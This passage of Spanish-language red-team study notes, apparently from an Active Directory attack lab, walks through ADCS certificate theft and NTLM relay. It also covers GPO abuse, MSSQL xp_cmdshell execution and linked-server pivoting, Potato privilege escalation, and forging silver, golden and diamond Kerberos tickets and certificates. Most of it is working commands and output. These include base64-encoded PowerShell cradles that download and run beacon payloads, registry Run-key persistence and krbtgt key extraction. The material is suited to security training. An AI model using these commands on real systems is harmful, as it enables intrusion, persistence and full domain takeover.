[*] Using PKINIT with etype rc4_hmac and subject: CN=Bob Farmer, CN=Users, DC=dev, DC=cyberbotic, DC=io
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\nlamb'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGQj[...]5pbw==
ServiceName : krbtgt/dev.cyberbotic.io
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : nlamb
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/7/2022 8:51:22 AM
EndTime : 9/7/2022 6:51:22 PM
RenewTill : 9/14/2022 8:51:22 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : AliVFc5Nk93Z7IUkweCnBQ==
ASREP (key) : 4DB9D9D76701696109C28A26D27DE0B0
```
#### NTLM Relaying to ADCS HTTP Endpoints
Útil para cuando se tiene el CA funcionando en web y con autenticación vía NTLM. En este caso se puede forzar un DC que se autentique hacia el equipo de un atacante y luego usarlo para obtener un TGT.
Requisitos:
1. portbender en un equipo que se tiene privilegios para capturar y redirigir el tráfico
2. Un reverse port forward para redirigir el tráfico
3. Socks proxy para que ntlmrelayx envíe el tráfico de vuelta a la red
**ntlmrelayx apunta hacia el CA web**
```
attacker@ubuntu ~> sudo proxychains ntlmrelayx.py -t https://10.10.122.10/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
[*] Protocol Client SMTP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
```
**Se fuerza la autenticación desde un equipo hacia el otro**
```
beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe 10.10.122.30 10.10.123.102
```
Finalmente se usa la técnica S4U2Self para obtener el TGT y moverse lateralmente.
#### Persistencia
##### Persistencia a nivel de usuario
1. Enumerar certificados del usuario con Seatbelt
*Nota: Revisar que los certificados sean para autenticación*
```
beacon> getuid
[*] You are DEV\nlamb
beacon> run hostname
wkstn-1
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe Certificates
StoreLocation : CurrentUser
Issuer : CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
Subject : E=nlamb@cyberbotic.io, CN=Nina Lamb, CN=Users, DC=dev, DC=cyberbotic, DC=io
ValidDate : 9/7/2022 11:44:35 AM
ExpiryDate : 9/7/2023 11:44:35 AM
HasPrivateKey : True
KeyExportable : True
Thumbprint : 43FA3C3AE4E1212A3F888937745C2E2F55BAC1B5
Template : User
EnhancedKeyUsages :
Encrypting File System
Secure Email
Client Authentication [!] Certificate is used for client authentication!
```
2. Exportar certificados con mimikatz
*Nota: para sacarlos se va a View > Downloads en CS*
```
beacon> mimikatz crypto::certificates /export
Public export : OK - 'CURRENT_USER_My_0_Nina Lamb.der'
Private export : OK - 'CURRENT_USER_My_0_Nina Lamb.pfx'
beacon> download CURRENT_USER_My_0_Nina Lamb.pfx
[*] started download of C:\Users\nlamb\CURRENT_USER_My_0_Nina Lamb.pfx (3454 bytes)
[*] download of CURRENT_USER_My_0_Nina Lamb.pfx is complete
```
3. Cifrar en b64
```
ubuntu@DESKTOP-3BSK7NO ~> cat /mnt/c/Users/Attacker/Desktop/CURRENT_USER_My_0_Nina\ Lamb.pfx | base64 -w 0
```
4. Usar rubeus para obtener un TGT
*Nota: para ser más sigiloso se puede solicitar que se cifre con AES en vez de RC4 que es lo qeu hace por defecto con el parámetro /enctype:aes256*
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /certificate:MIINeg[...]IH0A== /password:mimikatz /nowrap
[*] Using PKINIT with etype rc4_hmac and subject: E=nlamb@cyberbotic.io, CN=Nina Lamb, CN=Users, DC=dev, DC=cyberbotic, DC=io
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\nlamb'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGQj[...]5pbw==
ServiceName : krbtgt/dev.cyberbotic.io
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : nlamb
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/7/2022 12:28:51 PM
EndTime : 9/7/2022 10:28:51 PM
RenewTill : 9/14/2022 12:28:51 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Cptkd+BVLZ8+NS11BQQ6Zg==
ASREP (key) : 79C05DC0CC7909DF6448F1B24FAFBD71
```
Si no tuviera un certificado, se puede solicitar con Certify
```
beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:User
```
##### Persistencia a nivel de máquina
*Nota: en este caso se necesita privilegios*
1. Extraer certificados de la máquina:
```
beacon> mimikatz !crypto::certificates /systemstore:local_machine /export
Public export : OK - 'local_machine_My_0_wkstn-1.dev.cyberbotic.io.der'
Private export : OK - 'local_machine_My_0_wkstn-1.dev.cyberbotic.io.pfx'
```
2. Solicitar el TGT
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:WKSTN-1$ /enctype:aes256 /certificate:MIINCA[...]IH0A== /password:mimikatz /nowrap
[*] Action: Ask TGT
[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=wkstn-1.dev.cyberbotic.io
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\WKSTN-1$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGYD[...]5pbw==
ServiceName : krbtgt/dev.cyberbotic.io
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : WKSTN-1$
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/7/2022 12:06:02 PM
EndTime : 9/7/2022 10:06:02 PM
RenewTill : 9/14/2022 12:06:02 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : 6DV6vQB5lRoCz84qmRqt0X6UdIzzdQiX+y0IwwDrHlc=
ASREP (key) : C1B715AF5F9B5468EB5FA8ADDA0E02EE2D7548F439DEA5A5D9B4F7DFA6482BDF
```
Para solicitar certificados de la máquina:
*Nota: se usa el parámetro /machine para elevar privilegios y que se ejecute como SYSTEM*
```
beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:Machine /machine
```
### Group Policy (GPO)
1. Buscar GPO con permisos vulnerables:
*Nota: filtrar aquellas donde los permisos asociados son de SYSTEM, DA y Enterprise Admins*
```
beacon> powershell Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
AceType : AccessAllowed
ObjectDN : CN={AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
OpaqueLength : 0
ObjectSID :
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-569305411-121244042-2357301523-1107
AccessMask : 131127
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed
```
2. De hallar una, revisar a quién se refiere ese SID que puede modificar la GPO
```
beacon> powershell Get-DomainGPO -Identity "CN={AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" | select displayName, gpcFileSysPath
displayname gpcfilesyspath
----------- --------------
Vulnerable GPO \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers
```
3. Verificar a qué OU está dirigida la GPO
```
beacon> powershell Get-DomainOU -GPLink "{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}" | select distinguishedName
distinguishedname
-----------------
OU=Workstations,DC=dev,DC=cyberbotic,DC=io
```
4. Listar los equipos parte de la OU
```
beacon> powershell Get-DomainComputer -SearchBase "OU=Workstations,DC=dev,DC=cyberbotic,DC=io" | select dnsHostName
dnshostname
-----------
wkstn-1.dev.cyberbotic.io
wkstn-2.dev.cyberbotic.io
```
5. Modificar la GPO manualmente o usando [SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse)
*Nota: si es manual la ruta de la GPO está en SYSVOL*
```
beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}
```
**Pasos para hacerlo con SharpGPOAbuse**
1. Agregar un listener (pivot listener), para el ejemplo en el puerto 1234 y de payload beacon_reverse_tcp
2. Usar el scripted web delivery para hostear el payload de ese listener (recordar pasarle el nombre del listener adecuado)
3. Agregar reglas en el firewall para que permita tráfico en el 8080 (reverse port forward) y el 1234 para el listener
```
beacon> powershell New-NetFirewallRule -DisplayName "Rule 1" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 1234
beacon> powershell New-NetFirewallRule -DisplayName "Rule 2" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 8080
```
4. Iniciar un reverse port forward para que los target puedan llegar al payload
```
beacon> rportfwd 8080 127.0.0.1 80
```
5. Modificar la GPO
*Nota: el payload encodeado es: IEX ((new-object net.webclient).downloadstring("http://wkstn-2:8080/pivot")) *
```
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "C:\Windows\System32\cmd.exe" --Arguments "/c powershell -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwB3AGsAcwB0AG4ALQAyADoAOAAwADgAMAAvAHAAaQB2AG8AdAAiACkAKQA=" --GPOName "Vulnerable GPO"
```
6. Para que el cambio sea efectivo se puede esperar el ciclo de actualización de la GPO normal o bien forzarlo con el comando: `gpudate /force` en los equipos afectados
#### Crear y linkear una GPO
Buscar grupos que pueden crear nuevas GPOs en el dominio (con el privilegio `Create groupPolicyContainer objects` habilitado)
1. Buscar grupos con Powerview
```
beacon> powershell Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }
DEV\Developers
```
2. Revisar si está asociado a alguna OU
*Nota: en el ejemplo el grupo de dev puede asociar gpos a la OU workstations*
```
beacon> powershell Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl
ObjectDN : OU=Workstations,DC=dev,DC=cyberbotic,DC=io
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
SecurityIdentifier : S-1-5-21-569305411-121244042-2357301523-1107
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers
```
3. Para crear una GPO
```
beacon> powershell New-GPO -Name "Evil GPO"
```
En general para manejo de gpo
```
beacon> powershell Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
Key Value
--- -----
Backup-GPO Backup-GPO
Block-GPInheritance Block-GPInheritance
Copy-GPO Copy-GPO
Get-GPInheritance Get-GPInheritance
Get-GPO Get-GPO
```
4. Un uso podría ser el agregar un HKLM key autorun al registro
Primero buscar dónde subir un archivo:
```
beacon> powershell Find-DomainShare -CheckShareAccess
Name Type Remark ComputerName
---- ---- ------ ------------
software 0 dc-2.dev.cyberbotic.io
```
Luego asociar la GPO:
```
beacon> cd \\dc-2\software
beacon> upload C:\Payloads\pivot.exe
beacon> powershell Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\dc-2\software\pivot.exe" -Type ExpandString
```
5. Aplicar la GPO
*Nota: en este caso el autorun requiere que se reinicie para que tome el cambio*
```
beacon> powershell Get-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=cyberbotic,DC=io"
GpoId : 550f6672-bdd0-4e3d-8907-628ee6909f26
DisplayName : Evil GPO
Enabled : True
Enforced : False
Target : OU=Workstations,DC=dev,DC=cyberbotic,DC=io
Order : 4
```
### Servidores MSSQL
#### Enumeración MSSQL
Para enumerar se puede usar powerupsql:
*Nota: dentro del módulo sirven `Get-SQLInstanceDomain (busca spn que inicien con mssql*), Get-SQLInstanceBroadcast y Get-SQLInstanceScanUDP`*
```
beacon> powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
beacon> powershell Get-SQLInstanceDomain
ComputerName : sql-2.dev.cyberbotic.io
Instance : sql-2.dev.cyberbotic.io,1433
DomainAccountSid : 1500000521000672332383313895871914512914091400
DomainAccount : mssql_svc
DomainAccountCn : MS SQL Service
Service : MSSQLSvc
Spn : MSSQLSvc/sql-2.dev.cyberbotic.io:1433
LastLogon : 8/15/2022 7:55 PM
Description :
```
Probar la conexión a la base de datos:
```
beacon> powershell Get-SQLConnectionTest -Instance "sql-2.dev.cyberbotic.io,1433" | fl
ComputerName Instance Status
------------ -------- ------
sql-2.dev.cyberbotic.io sql-2.dev.cyberbotic.io,1433 Accessible
```
Obtener mas información de la instancia de mssql:
```
beacon> powershell Get-SQLServerInfo -Instance "sql-2.dev.cyberbotic.io,1433"
Si hay muchas:
beacon> powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
```
Para acceder a la bd con mssql:
```
ubuntu@DESKTOP-3BSK7NO ~> proxychains mssqlclient.py -windows-auth DEV/bfarmer@10.10.122.25 -debug
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket
Password:
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.25:1433-<><>-OK
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-2): Line 1: Changed database context to 'master'.
[*] INFO(SQL-2): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> select @@servername;
```
#### Ejecución de comandos MSSQL
1. Mediante xp_cmdshell:
```
beacon> powershell Invoke-SQLOSCmd -Instance "sql-2.dev.cyberbotic.io,1433" -Command "whoami" -RawResults
dev\mssql_svc
```
2. Mediante xp_cmdshell pero desde mssqlclient y heidisql:
*Nota: acá no funciona porque está deshabilitado y es necesario habilitarlo*
```
SQL> EXEC xp_cmdshell 'whoami';
[-] ERROR(SQL-2): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server.
SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';
habilitar xp_cmdshell
sp_configure 'Show Advanced Options', 1; RECONFIGURE;
sp_configure 'xp_cmdshell', 1; RECONFIGURE;
```
3. Enviar un payload para obtener un beacon:
*Nota: el payload encodeado es: iex (new-object net.webclient).downloadstring("http://wkstn-2:8080/pivot") *
```
EXEC xp_cmdshell 'powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwBrAHMAdABuAC0AMgA6ADgAMAA4ADAALwBwAGkAdgBvAHQAIgApAA==';
```
#### Movimiento Lateral vía MSSQL
1. Para buscar *linked servers* (cargar o acceder a recursos externos)
```
SELECT * FROM master..sysservers;
```
2. De encontrar un recurso, revisarlo con la query:
```
SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername');
```
3. Revisar si tiene habilitado xp_cmdshell
```
SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell''');
```
4. Habilitar xp_cmdshell en el *linked server*
```
EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [sql-1.cyberbotic.io]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [sql-1.cyberbotic.io]
```
5. Revisar todos los link
*Nota: el resultado acá muestra que sql2 tiene un usuario sa con privilegios de sysadmin (Sysadmin: 1) en sql1 por lo que puede ejecutar comandos*
```
beacon> powershell Get-SQLServerLinkCrawl -Instance "sql-2.dev.cyberbotic.io,1433"
Version : SQL Server 2019
Instance : SQL-2
CustomQuery :
Sysadmin : 1
Path : {SQL-2}
User : DEV\bfarmer
Links : {SQL-1.CYBERBOTIC.IO}
Version : SQL Server 2019
Instance : SQL-1
CustomQuery :
Sysadmin : 1
Path : {SQL-2, SQL-1.CYBERBOTIC.IO}
User : sa
Links :
```
6. Ejecutar el payload con los permisos asociados:
*Nota: el payload encodeado es: iex (new-object net.webclient).downloadstring("http://sql-2.dev.cyberbotic.io:8080/pivot2")*
```
SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAHAAaQB2AG8AdAAyACIAKQA=''')
```
#### Privesc vía MSSQL
Cuando el servicio MSSQL es ejecutado por una cuenta que tiene el privilegio *SeImpersonatePrivilege* se puede escalar usando un `*Potato`. Ej
```
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe TokenPrivileges
====== TokenPrivileges ======
Current Token's Privileges
SeAssignPrimaryTokenPrivilege: DISABLED
SeIncreaseQuotaPrivilege: DISABLED
SeChangeNotifyPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
SeImpersonatePrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
SeCreateGlobalPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
SeIncreaseWorkingSetPrivilege: DISABLED
[*] Completed collection in 0.037 seconds
```
**Sweet Potato**
*Nota: payload encodeado es: iex (new-object net.webclient).downloadstring("http://sql-2.dev.cyberbotic.io:8080/tcp-local")*
```
beacon> execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAHQAYwBwAC0AbABvAGMAYQBsACIAKQA="
SweetPotato by @_EthicalChaos_
Orignal RottenPotato code and exploit by @foxglovesec
Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery
PrintSpoofer discovery and original exploit by @itm4n
EfsRpc built on EfsPotato by @zcgonvh and PetitPotam by @topotam
[+] Attempting NP impersonation using method PrintSpoofer to launch C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[+] Triggering notification on evil PIPE \\sql-1/pipe/b888d569-b66e-4280-b8c5-995afbb9b02c
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!
beacon> connect localhost 4444
[+] established link to child beacon: 10.10.120.25
```
### Domain Dominance
#### Silver Tickets
Una vez dumpeada las keys de Kerberos es posible realizar un silver ticket con rubeus:
1. Generar el ticket
```
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /service:cifs/wkstn-1.dev.cyberbotic.io /aes256:c9e598cd2a9b08fe31936f2c1846a8365d85147f75b8000cbc90e3c9de50fcc7 /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap
[*] Action: Build TGS
[*] Building PAC
[*] Domain : DEV.CYBERBOTIC.IO (DEV)
[*] SID : S-1-5-21-569305411-121244042-2357301523
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : C9E598CD2A9B08FE31936F2C1846A8365D85147F75B8000CBC90E3C9DE50FCC7
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : C9E598CD2A9B08FE31936F2C1846A8365D85147F75B8000CBC90E3C9DE50FCC7
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : cifs
[*] Target : wkstn-1.dev.cyberbotic.io
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'nlamb' to 'cifs/wkstn-1.dev.cyberbotic.io'
[*] AuthTime : 9/9/2022 10:49:41 AM
[*] StartTime : 9/9/2022 10:49:41 AM
[*] EndTime : 9/9/2022 8:49:41 PM
[*] RenewTill : 9/16/2022 10:49:41 AM
[*] base64(ticket.kirbi):
doIFXD[...]MuaW8=
```
2. Importar el ticket y tomar el proceso
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFXD[...]MuaW8=
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5668
[+] Ticket successfully imported!
[+] LUID : 0x423091
beacon> steal_token 5668
```
| Técnica | Service Ticket requerido
| -------- | -------- |
| psexec | CIFS |
| winrm | HOST & HTTP |
| dcsync (solo en el DC) | LDAP |
#### Golden Ticket
1. Se obtiene la llave del krbtgt
```
beacon> dcsync dev.cyberbotic.io DEV\krbtgt
* Primary:Kerberos-Newer-Keys *
Default Salt : DEV.CYBERBOTIC.IOkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e
aes128_hmac (4096) : 6fb62ed56c7de778ca5e4fe6da6d3aca
des_cbc_md5 (4096) : 629189372a372fda
```
2. Genera el ticket con Rubeus
```
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap
[*] Action: Build TGT
[*] Building PAC
[*] Domain : DEV.CYBERBOTIC.IO (DEV)
[*] SID : S-1-5-21-569305411-121244042-2357301523
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : dev.cyberbotic.io
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'nlamb@dev.cyberbotic.io'
[*] AuthTime : 9/9/2022 11:16:23 AM
[*] StartTime : 9/9/2022 11:16:23 AM
[*] EndTime : 9/9/2022 9:16:23 PM
[*] RenewTill : 9/16/2022 11:16:23 AM
[*] base64(ticket.kirbi):
doIFLz[...]MuaW8=
```
3. Genera la sesión
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFLz[...snip...]MuaW8=
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5060
[+] Ticket successfully imported!
[+] LUID : 0x449047
beacon> steal_token 5060
```
#### Diamond Tickets
Es igual al golden ticket, pero se genera a partir de un TGT solicitado, descifrado y vuelto a modificar los cambios realizados por el atacante
1. Generar el ticket
*Nota: explicación de los parámetros*
/tgtdeleg: usa la API de kerberos para solicitar un TGT sin tener la password o el hash
/ticketuser: usuario a impersonar
/ticketuserid; RID del usuario a impersonar
/groups: RID del grupo de usuarios (512 es de los DA)
/krbkey: el hash AES256 de la cuenta krbtgt
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:nlamb /ticketuserid:1106 /groups:512 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap
[*] Action: Diamond Ticket
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: +mzV4aOvQx3/dpZGBaVEhccq1t+jhKi8oeCYXkjHXw4=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFgz [...snip...] MuSU8=
[*] Decrypting TGT
[*] Retreiving PAC
[*] Modifying PAC
[*] Signing PAC
[*] Encrypting Modified TGT
[*] base64(ticket.kirbi):
doIFYj [...snip...] MuSU8=
Mostrar a quien pertenece el ticket
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe describe /ticket:doIFYj[...snip...]MuSU8=
```
#### Falsificación de Certificados
1. Desde el CA con permisos de SYSTEM se peuden extraer los certificados:
```
beacon> run hostname
dc-2
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe certificates /machine
```
2. Almacenar la llave privada y el certificado a un archivo .pfx con openssl
```
ubuntu@DESKTOP-3BSK7NO ~> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password: pass123
Verifying - Enter Export Password: pass123
```
3. Generar el certificado con ForgeCert
```
PS C:\Users\Attacker> C:\Tools\ForgeCert\ForgeCert\bin\Release\ForgeCert.exe --CaCertPath .\Desktop\sub-ca.pfx --CaCertPassword pass123 --Subject "CN=User" --SubjectAltName "nlamb@cyberbotic.io" --NewCertPath .\Desktop\fake.pfx --NewCertPassword pass123
CA Certificate Information:
Subject: CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
Issuer: CN=ca, DC=cyberbotic, DC=io
Start Date: 8/15/2022 4:06:13 PM
End Date: 8/15/2024 4:16:13 PM
Thumbprint: 697B1C2CD65B2ADC80C3D0CE83A6FB889B0CA08E
Serial: 13000000046EF818036CF8C99F000000000004
Forged Certificate Information:
Subject: CN=User
SubjectAltName: nlamb@cyberbotic.io
Issuer: CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
Start Date: 10/5/2022 1:24:23 PM
End Date: 10/5/2023 1:24:23 PM
Thumbprint: 0CF404F5D1534854BA5EDEC5953ED7B7BE96C3A8
Serial: 00978D5E506AE605589E43F21D17E56671
